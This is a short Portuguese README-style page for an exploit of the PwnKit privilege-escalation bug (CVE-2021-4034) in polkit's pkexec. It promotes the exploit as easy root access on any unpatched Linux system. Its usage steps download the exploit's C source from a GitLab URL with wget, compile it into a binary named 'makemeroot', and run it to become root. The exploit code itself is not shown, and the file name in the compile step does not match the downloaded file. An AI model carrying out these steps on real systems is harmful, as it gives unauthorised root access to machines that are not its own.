Vulnerabilidade PWNKIT - CVE-2021-4034

CVE-2021-4034 (PWNKIT)

Uma vulnerabilidade de corrupção de memória no pkexec do Polkit, que permite que qualquer usuário sem privilégios obtenha privilégios totais de root em um sistema vulnerável usando a configuração padrão do polkit.

Fácil de usar, escalonamento local de privilégios em qualquer sistema linux sem patch.

Uso (ex.: CentOS 7)

Baixar o exploit

wget https://gitlab.com/nelox/pwnkit-vulnerability/blasty-vs-pkexec.c

Compilar usando gcc

gcc bblasty-vs-pkexec.c -o makemeroot

Executar

./makemeroot
whoami